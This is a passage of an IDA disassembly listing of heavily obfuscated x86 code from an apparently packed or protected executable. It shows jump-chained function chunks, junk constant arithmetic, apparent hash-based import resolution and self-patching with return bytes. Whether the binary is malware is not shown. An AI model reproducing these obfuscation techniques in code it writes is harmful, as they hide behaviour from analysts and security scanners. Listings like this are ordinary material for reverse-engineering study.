		jmp	loc_74E80C
; END OF FUNCTION CHUNK	FOR sub_74BCF7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F76CE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_7537C2:				; CODE XREF: sub_748B44+C1C8j
		jnz	loc_757357
		jmp	loc_74C920
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_7537CD:				; CODE XREF: sub_75043C-80F2j
		jz	loc_7521CD
		cmp	eax, 0FFFFFFFFh
		jz	loc_7521CD
		mov	eax, [eax]
		jmp	loc_7450BB
; ---------------------------------------------------------------------------


loc_7537E3:				; CODE XREF: sub_75043C:loc_748342j
		or	eax, eax
		jz	loc_7521CD
		cmp	eax, 0FFFFFFFFh
		jz	loc_7521CD
		jmp	loc_7521C6
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
		mov	edx, ds:dword_74B938
		mov	ebx, [edx]
		sub	ebx, eax
		mov	ecx, [ebp-4]
		jmp	loc_752F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756691


loc_75380B:				; CODE XREF: sub_756691:loc_745A6Ej
		push	ecx
		call	sub_755F77


loc_753811:				; DATA XREF: _0z4jwtox:00753592o
		add	ecx, 2FB3FCE9h
		xchg	ecx, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_756691
; ---------------------------------------------------------------------------


loc_75381F:				; CODE XREF: _0z4jwtox:loc_75601Fj
		mov	eax, 0C7CC2482h
		call	sub_746E93
		mov	ds:off_41F170, eax
		lea	eax, sub_756A5B
		mov	byte ptr [eax],	0C3h
		jmp	loc_756F2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7491FD


loc_75383D:				; CODE XREF: sub_7491FD+5j
		mov	eax, [esp+4+var_4]
		jmp	loc_74B5CD
; END OF FUNCTION CHUNK	FOR sub_7491FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CB79


loc_753845:				; CODE XREF: _0z4jwtox:0074A98Aj
					; sub_74CB79:loc_74CB84j
		or	ebx, 0E8064134h
		push	offset sub_7553F4
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_74CB79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_753855:				; CODE XREF: sub_752957:loc_74E20Aj
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
		call	nullsub_291
		jmp	ds:dword_41F034
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_291. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jz	loc_7528A5
		mov	eax, [esp]
		push	edx
		jmp	loc_745D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_753878:				; CODE XREF: sub_74C670-220j
		xor	esi, 0F22F419Ch
		shl	esi, 19h
		not	eax
		cmp	ebp, 5AA4F79h
		jmp	loc_7520F1
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_75388E:				; CODE XREF: sub_74F73B+810Cj
		jnb	loc_747862
		jmp	sub_756B35
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
		mov	eax, 350D36C3h
		push	offset sub_75630E
		jmp	locret_74F654
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_7570CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750A63


loc_7538AE:				; CODE XREF: sub_750A63+Fj
		pop	esi
		rol	esi, 0Ch
		cmp	esi, 5BF47C10h
		jmp	loc_74E8FC
; END OF FUNCTION CHUNK	FOR sub_750A63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_7538BD:				; CODE XREF: sub_74FE55-90D9j
					; sub_74698F:loc_754B4Fj
		pushf
		push	687C9830h
		sub	eax, ebx
		jmp	loc_74D356
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------


loc_7538CA:				; CODE XREF: _0z4jwtox:007487A5j
		call	sub_747892
		push	0D38D14DBh
		pop	eax
		add	eax, 3C1E4BD5h
		or	eax, 6B0D6361h
		and	eax, 83F56F41h
		xor	eax, 3C595300h
		call	sub_746E93
		jmp	loc_749349
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_7538F7:				; CODE XREF: sub_750638-12F5j
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_753915:				; CODE XREF: _0z4jwtox:loc_74EDF9j
		jb	loc_7543FE
		jmp	loc_755D8A
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_753920:				; CODE XREF: sub_749306:loc_7575D9j
		jl	loc_75557B
		mov	esi, ebp
		jmp	loc_75556F
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------


loc_75392D:				; CODE XREF: _0z4jwtox:loc_75371Cj
		jnz	loc_754653
		jmp	loc_753195
; ---------------------------------------------------------------------------
		mov	eax, 0BEB860A6h
		call	sub_746E93


loc_753942:				; CODE XREF: _0z4jwtox:loc_74E9A7j
		push	eax
		mov	eax, edi
		xchg	eax, [esp]
		push	6298B055h
		call	sub_74F1FE


loc_753952:				; CODE XREF: _0z4jwtox:00752837j
		jmp	loc_746002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_753957:				; CODE XREF: sub_74C8DA-139Bj
		jmp	loc_752554
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7BD


loc_75395C:				; CODE XREF: sub_74A7BD+8j
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_74A7BD
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		pop	eax
		js	loc_752BA2
		pop	edx
		mov	eax, [esp]
		push	edi
		jmp	loc_749E9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_753975:				; CODE XREF: sub_747C22-AA1j
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jnz	loc_747DC8
		jmp	loc_752BBA
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		push	0CE5F74A7h
		pop	eax
		and	eax, 0BCC763D6h
		rol	eax, 1Bh
		xor	eax, 519A9354h
		push	eax
		push	0B189CC69h
		pop	eax
		jmp	loc_7552AE
; ---------------------------------------------------------------------------


loc_7539A8:				; CODE XREF: _0z4jwtox:007479ACj
		jb	loc_7527B4

; =============== S U B	R O U T	I N E =======================================



sub_7539AE	proc near		; CODE XREF: sub_752B0C:loc_74D74Ap

; FUNCTION CHUNK AT 00745E82 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074867F SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-20h]
		call	sub_74A445
		pop	ecx
		jmp	loc_745E82
sub_7539AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_7539C0:				; CODE XREF: sub_74A7D8:loc_74530Fj
					; sub_745C55:loc_745D7Cj ...
		jmp	loc_7525C0
; ---------------------------------------------------------------------------


loc_7539C5:				; CODE XREF: sub_745C55-588j
					; sub_74A7D8+5521j
		push	offset sub_74CB79
		jmp	loc_746CE3
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------


loc_7539CF:				; CODE XREF: _0z4jwtox:007531E8j
		retn
; ---------------------------------------------------------------------------


loc_7539D0:				; CODE XREF: _0z4jwtox:0074F0E2j
		jmp	loc_755EF9
; ---------------------------------------------------------------------------


loc_7539D5:				; CODE XREF: _0z4jwtox:loc_75721Fj
					; DATA XREF: sub_7462FD:loc_75720Ao
		mov	eax, offset dword_74F3BC
		call	sub_74F144
		mov	al, [ebp-5]
		pop	ebx
		jmp	loc_748413
; ---------------------------------------------------------------------------


loc_7539E8:				; CODE XREF: _0z4jwtox:loc_752350j
		jl	loc_750F9A
		jp	loc_755C3D
		jns	loc_750104
		cmp	ecx, 8F381190h
		jmp	loc_749E60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E40A


loc_753A05:				; CODE XREF: sub_74E40A+13j
		jnb	loc_748DF5
		jnp	loc_74C114
		push	ebx
		jmp	loc_748DF5
; END OF FUNCTION CHUNK	FOR sub_74E40A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pushf
		adc	ebp, edi
		jmp	sub_750A63
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_7510EA


loc_753A23:				; CODE XREF: sub_75275A-C86Fj
					; sub_7510EA-29FAj ...
		mov	eax, [ebp-24h]
		push	edi
		push	23A4F769h
		pop	edi
		rol	edi, 6
		jmp	loc_756070
; END OF FUNCTION CHUNK	FOR sub_7510EA
; ---------------------------------------------------------------------------
		jnp	loc_751294
		jmp	sub_74B1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_753A40:				; CODE XREF: sub_750243-24C1j
		cmp	byte ptr [eax],	0
		push	offset loc_756F90
		jmp	loc_74BAF5
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------
		mov	ds:off_41F06C, eax
		call	sub_747109
; START	OF FUNCTION CHUNK FOR sub_74C7A2


loc_753A58:				; CODE XREF: sub_74C7A2-4969j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74C7A2
; ---------------------------------------------------------------------------


loc_753A5D:				; CODE XREF: _0z4jwtox:0075133Aj
		call	sub_745183
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_753A62:				; CODE XREF: sub_74F69D-40EAj
		jmp	loc_7505CB
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_753A67:				; CODE XREF: sub_7462C2+Ej
		jmp	loc_752B7A
; END OF FUNCTION CHUNK	FOR sub_7462C2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_753A6D:				; CODE XREF: sub_75622B+FB0j
		jmp	loc_75645F
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_753A72:				; CODE XREF: sub_755F42-C4C1j
		jmp	loc_74C3FC
; END OF FUNCTION CHUNK	FOR sub_755F42
; ---------------------------------------------------------------------------


loc_753A77:				; CODE XREF: _0z4jwtox:0074C067j
		sub	eax, 480420CCh
		shr	edi, 17h
		adc	eax, 9CC6D191h
		jmp	loc_74BD9E
; ---------------------------------------------------------------------------


loc_753A8B:				; CODE XREF: _0z4jwtox:0074EAF3j
		add	edi, 5DD7EF4Eh
		and	edi, 5EFFE3AEh
		rol	edi, 17h
		add	edi, 0EC5314C8h
		xchg	edi, [esp]
		jmp	loc_75217E
; ---------------------------------------------------------------------------
		jmp	loc_415E11

; =============== S U B	R O U T	I N E =======================================



sub_753AAD	proc near		; CODE XREF: _0z4jwtox:00746FEDp
					; sub_75582A+Ap
		call	sub_74F30D


loc_753AB2:				; CODE XREF: _0z4jwtox:0075458Ej
		jmp	sub_754E36
sub_753AAD	endp

; ---------------------------------------------------------------------------


loc_753AB7:				; CODE XREF: _0z4jwtox:0075072Bj
		jmp	loc_75762E
; ---------------------------------------------------------------------------


loc_753ABC:				; DATA XREF: _0z4jwtox:00752C84o
		add	ebx, eax
		call	sub_7571FF
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_753AC3:				; CODE XREF: sub_747C22:loc_7552F0j
		push	836EE88Ch
		add	ecx, 0A749AEFDh
		jl	loc_74A8EE
		jmp	loc_74AB2F
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		sub	esi, 9BB66FFEh
		xor	ebx, 0AFD17303h
		jmp	sub_753D03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_753AEA:				; CODE XREF: sub_747736+D1E3j
		jge	loc_750AEE
		ror	edi, 4
		cdq


loc_753AF4:				; CODE XREF: sub_7572F3:loc_749D2Aj
					; _0z4jwtox:0074C1C3j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_74EDEF
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_753AFF:				; CODE XREF: sub_7475CB+40ACj
		jno	nullsub_56
		xchg	ebp, [esi]


loc_753B07:				; CODE XREF: sub_7475CB:loc_74759Cj
		push	6FBD6CB2h
		pop	eax
		rol	eax, 0Dh
		jmp	loc_74F481
; END OF FUNCTION CHUNK	FOR sub_7475CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_753B15:				; CODE XREF: sub_756496-ACB9j
		jb	loc_74E047
		shl	ecx, 7
		xor	ebx, 9E3B3F05h
		jmp	loc_74B2DA
; END OF FUNCTION CHUNK	FOR sub_756496
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E11E


loc_753B29:				; CODE XREF: sub_74E11E:loc_74C286j
		or	edi, 0B08404D8h


loc_753B2F:				; CODE XREF: sub_748B52+DB60j
		add	edi, 449DE83Eh
		popf
		xchg	edi, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74E11E

; =============== S U B	R O U T	I N E =======================================



sub_753B3E	proc near		; DATA XREF: sub_74BA29+4F19o

; FUNCTION CHUNK AT 007550FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007558AD SIZE 00000010 BYTES

		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_754EB3
		mov	eax, [ebp-4]
		jmp	loc_7550FE
sub_753B3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_753B55:				; CODE XREF: sub_74C670:loc_74EBECj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_755BF9
		jmp	loc_74DABB
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_753B69:				; CODE XREF: _0z4jwtox:0074931Ej
		jnz	loc_7483A7
		sbb	edi, edx
		jmp	loc_7483A0
; ---------------------------------------------------------------------------
		push	0CFA036BCh
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_753B7C:				; CODE XREF: sub_747C39:loc_751FBBj
		add	eax, 0C293D2FBh
		or	eax, 0AC7DF17Ch
		and	eax, 53F4DAE6h
		jmp	loc_754529
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745276


loc_753B93:				; CODE XREF: sub_745276:loc_745280j
		call	sub_74F9E6
; END OF FUNCTION CHUNK	FOR sub_745276
; START	OF FUNCTION CHUNK FOR sub_754175


loc_753B98:				; CODE XREF: sub_754175+2070j
		jmp	loc_7534C6
; END OF FUNCTION CHUNK	FOR sub_754175
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755B22


loc_753B9D:				; CODE XREF: sub_755B22+1Aj
		jmp	loc_7506F7
; END OF FUNCTION CHUNK	FOR sub_755B22
; ---------------------------------------------------------------------------


loc_753BA2:				; CODE XREF: _0z4jwtox:00745E10j
		cmp	ebx, esi
		jmp	loc_7462AB
; ---------------------------------------------------------------------------


loc_753BA9:				; CODE XREF: _0z4jwtox:loc_75535Ej
					; _0z4jwtox:0075536Dj
		xor	eax, 0BE03ACA9h
		add	eax, 97351BECh
		call	sub_754779
; START	OF FUNCTION CHUNK FOR sub_74E685


loc_753BBA:				; CODE XREF: sub_74E685-8105j
		jmp	loc_74603E
; END OF FUNCTION CHUNK	FOR sub_74E685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_753BBF:				; CODE XREF: sub_74673E+1Ej
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		call	sub_746128


loc_753BCA:				; CODE XREF: sub_74CBCF+217Fj
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
		push	ecx
		push	0D1DE1535h
		pop	ecx
		and	ecx, 0BA4AE9F7h
		rol	ecx, 0Dh
		and	ecx, 0A4615113h
		jmp	loc_74810A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_753BEA:				; CODE XREF: sub_7544F1-CC39j
		xor	eax, 158671F9h
		sub	eax, 5007F0BFh


loc_753BF6:				; CODE XREF: sub_74FF79:loc_752208j
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp+4+var_4]
		jmp	loc_752126
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F30D


loc_753C01:				; CODE XREF: sub_74F30D+37CDj
		cmp	edx, 237EB7BAh
		jmp	loc_75154A
; END OF FUNCTION CHUNK	FOR sub_74F30D
; ---------------------------------------------------------------------------
		sub	esi, 0E831D9C1h
; START	OF FUNCTION CHUNK FOR sub_752737


loc_753C12:				; CODE XREF: sub_752737:loc_745C4Dj
		push	29242FFBh
		jmp	sub_74E58E
; END OF FUNCTION CHUNK	FOR sub_752737
; ---------------------------------------------------------------------------


loc_753C1C:				; CODE XREF: _0z4jwtox:loc_74C0D2j
		add	ecx, 0BB449119h
		xchg	ecx, [esp]
		jmp	sub_755C10

; =============== S U B	R O U T	I N E =======================================



sub_753C2A	proc near		; CODE XREF: sub_747546:loc_754800p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074968D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_74968D
sub_753C2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_753C36:				; CODE XREF: _0z4jwtox:00755B84j
		jz	loc_7578AD
		jmp	loc_75223F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_753C41:				; CODE XREF: sub_74BD6F:loc_7452C2j
		add	ebx, ebp
		add	ebx, 49CAA80Eh


loc_753C49:				; CODE XREF: sub_747290:loc_745CA4j
		mov	[ebx], eax
		push	offset loc_74D166
		jmp	loc_7495B4
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7468F2


loc_753C55:				; CODE XREF: sub_7468F2:loc_746903j
		xor	edx, edx


loc_753C57:				; CODE XREF: _0z4jwtox:loc_74C5A0j
		mov	dl, [ebp-9]
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		mov	[edx], al
		mov	eax, [ebp-8]
		mov	al, [eax]
		jmp	loc_74C281
; END OF FUNCTION CHUNK	FOR sub_7468F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_753C6D:				; CODE XREF: sub_7490F6+1j
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_749157
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
		db 52h,	68h, 2
		dd 5AF315E4h, 256CCA81h, 0EA817E12h, 459D949Bh,	0C2F7h
		dd 0ECE91000h
		db 86h,	0FFh
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_753C9C:				; CODE XREF: sub_755C38+15j
		jmp	loc_751112
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_753CA1:				; CODE XREF: sub_752DF2-BEFCj
		jmp	loc_7522F7
; END OF FUNCTION CHUNK	FOR sub_752DF2
; ---------------------------------------------------------------------------


loc_753CA6:				; DATA XREF: sub_74DF5E+7D4Do
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_750243
		cmp	eax, [ebp-8]
		jmp	loc_74A86D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_753CB8:				; CODE XREF: sub_74CF35:loc_74AEF7j
		test	edx, 10h
		jmp	loc_747CD0
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
		xchg	ebx, ecx
		jbe	loc_74A9DE
		jmp	sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_753CD0:				; CODE XREF: sub_7561AB:loc_74D269j
		jz	loc_74AC9A
		jmp	loc_75648C
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_753CDB:				; CODE XREF: sub_74724C:loc_74F395j
		mov	eax, [esp+0]


loc_753CDE:				; CODE XREF: _0z4jwtox:loc_7504B9j
		push	edx
		call	sub_754E36
		mov	eax, 0DBE351CFh
		call	sub_746E93
		jmp	loc_75636C
; END OF FUNCTION CHUNK	FOR sub_74724C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F3C6


loc_753CF3:				; CODE XREF: sub_74F3C6+19j
		add	edx, 67338592h
		call	sub_757251


loc_753CFE:				; CODE XREF: _0z4jwtox:00752197j
		jmp	loc_756823
; END OF FUNCTION CHUNK	FOR sub_74F3C6

; =============== S U B	R O U T	I N E =======================================



sub_753D03	proc near		; CODE XREF: sub_74D1F3-470Bp
					; _0z4jwtox:00753AE5j
		xchg	esi, [esp+0]
		pop	esi
		pop	ebp
		retn
sub_753D03	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_753D09:				; CODE XREF: _0z4jwtox:0074746Cj
		jmp	loc_752C7D

; =============== S U B	R O U T	I N E =======================================



sub_753D0E	proc near		; CODE XREF: sub_7501AF-A4BFj
					; _0z4jwtox:loc_7470AAp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745B20 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074A6CB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0074B81D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075554D SIZE 00000005 BYTES

		push	esi
		xor	esi, 501761E3h
		jmp	loc_75554D
sub_753D0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_753D1A	proc near		; DATA XREF: _0z4jwtox:00748A48o

var_4		= dword	ptr -4

		push	9CC9C304h
		xchg	edi, [esp+4+var_4]
		mov	ecx, edi
		pop	edi
		and	ecx, 0A9BD5CB3h
		jmp	loc_748F4B
sub_753D1A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_753D30:				; CODE XREF: sub_74F73B:loc_750404j
					; _0z4jwtox:00750419j
		xor	edi, 6C17F6CCh
		add	edi, 3B2B4CA2h
		xchg	edi, [esp+30h+var_30]
		jmp	loc_74856F
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_753D44:				; CODE XREF: sub_74D4D3+5AD4j
		popf
		xchg	ebx, [esp-8+arg_4]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_753D4D:				; CODE XREF: sub_747736:loc_7450E7j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750A01


loc_753D51:				; CODE XREF: sub_750A01+4j
		cmp	dword ptr [ebp-10h], 1
		push	offset sub_749487
		jmp	loc_755009
; END OF FUNCTION CHUNK	FOR sub_750A01

; =============== S U B	R O U T	I N E =======================================



sub_753D5F	proc near		; DATA XREF: _0z4jwtox:0074CE74o

; FUNCTION CHUNK AT 0074DEA8 SIZE 0000000E BYTES

		push	432C2BEBh
		pop	eax


loc_753D65:				; CODE XREF: _0z4jwtox:007492FAj
		or	eax, 9407EF70h
		js	loc_74DEA8
sub_753D5F	endp

; START	OF FUNCTION CHUNK FOR sub_7562D5


loc_753D71:				; CODE XREF: sub_7562D5-862j
		jmp	loc_746E4B
; END OF FUNCTION CHUNK	FOR sub_7562D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_753D76:				; CODE XREF: _0z4jwtox:0074AA2Ej
					; sub_746640:loc_74FCC8j
		jmp	loc_74D230
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
		xor	ebx, ecx
		jmp	loc_74DEA0
; ---------------------------------------------------------------------------
		jmp	ds:off_41F000
; ---------------------------------------------------------------------------


loc_753D88:				; CODE XREF: _0z4jwtox:007555ABj
		jmp	loc_754196
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_753D8D:				; CODE XREF: sub_752957:loc_749C35j
					; sub_752957-7C2Aj ...
		jb	loc_74AD32
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_74AD0F
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750B5C


loc_753D9D:				; CODE XREF: _0z4jwtox:00749369j
					; sub_750B5C:loc_7576B8j
		add	esi, 0CF5A9263h
		xor	esi, 0D9B26F72h
		add	esi, 4E7A32E4h
		xchg	esi, [esp+4+var_4]
		jmp	loc_74ABAD
; END OF FUNCTION CHUNK	FOR sub_750B5C
; ---------------------------------------------------------------------------


loc_753DB7:				; CODE XREF: _0z4jwtox:loc_745435j
					; _0z4jwtox:loc_74DDA0j
		pop	edx
		and	edx, 63858EFh
		add	edx, 0FA11E876h
		mov	[edx], eax
		pop	edx
		call	sub_74F402


loc_753DCC:				; CODE XREF: _0z4jwtox:00756B93j
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_753DD1:				; CODE XREF: sub_74E693+6E69j
		jmp	nullsub_234
; END OF FUNCTION CHUNK	FOR sub_74E693
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_753DD6:				; CODE XREF: sub_74A7D8:loc_745B1Bj
		ror	edi, 16h
		jmp	loc_751512
; END OF FUNCTION CHUNK	FOR sub_74A7D8

; =============== S U B	R O U T	I N E =======================================



sub_753DDE	proc near		; CODE XREF: _0z4jwtox:007453C5j
					; sub_7535F0-9FEp

; FUNCTION CHUNK AT 00757518 SIZE 00000010 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pushf
		push	0CD977F63h
		pop	edi
		sub	edi, 93A90C4Bh
		add	edi, 0BA0FDE1Bh
		jmp	loc_757518
sub_753DDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_753DFA	proc near		; CODE XREF: sub_7467F4j
					; DATA XREF: _0z4jwtox:007467EAo

; FUNCTION CHUNK AT 0074D371 SIZE 00000005 BYTES

		call	sub_746E93
		mov	ds:dword_41F0FC, eax
		lea	eax, nullsub_273
		mov	byte ptr [eax],	0C3h
		jmp	loc_74D371
sub_753DFA	endp

; ---------------------------------------------------------------------------


loc_753E13:				; DATA XREF: sub_746CC3+FE14o
		cmp	eax, [ebp-8]
		jnz	loc_754EBA
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		jmp	loc_74B9CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_753E27:				; CODE XREF: sub_747C22+DC1Fj
		test	byte ptr [eax+1], 80h
		jnz	loc_74B803
		jmp	loc_747BF6
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_753E36:				; CODE XREF: sub_75622B+6j
		call	sub_747C72


loc_753E3B:				; CODE XREF: sub_747C72+F55Fj
		jmp	sub_75622B
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_753E40:				; CODE XREF: sub_756826-1014Ej
		jmp	loc_74CECD
; END OF FUNCTION CHUNK	FOR sub_756826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_753E45:				; CODE XREF: sub_74A96E:loc_7494DFj
		mov	ebp, esp
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+0]
		push	edi
		jmp	loc_74747D
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------


loc_753E53:				; CODE XREF: _0z4jwtox:00754BD1j
		pop	ebx
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		call	sub_750C4E
		mov	eax, 0D504D785h
		jmp	loc_749995
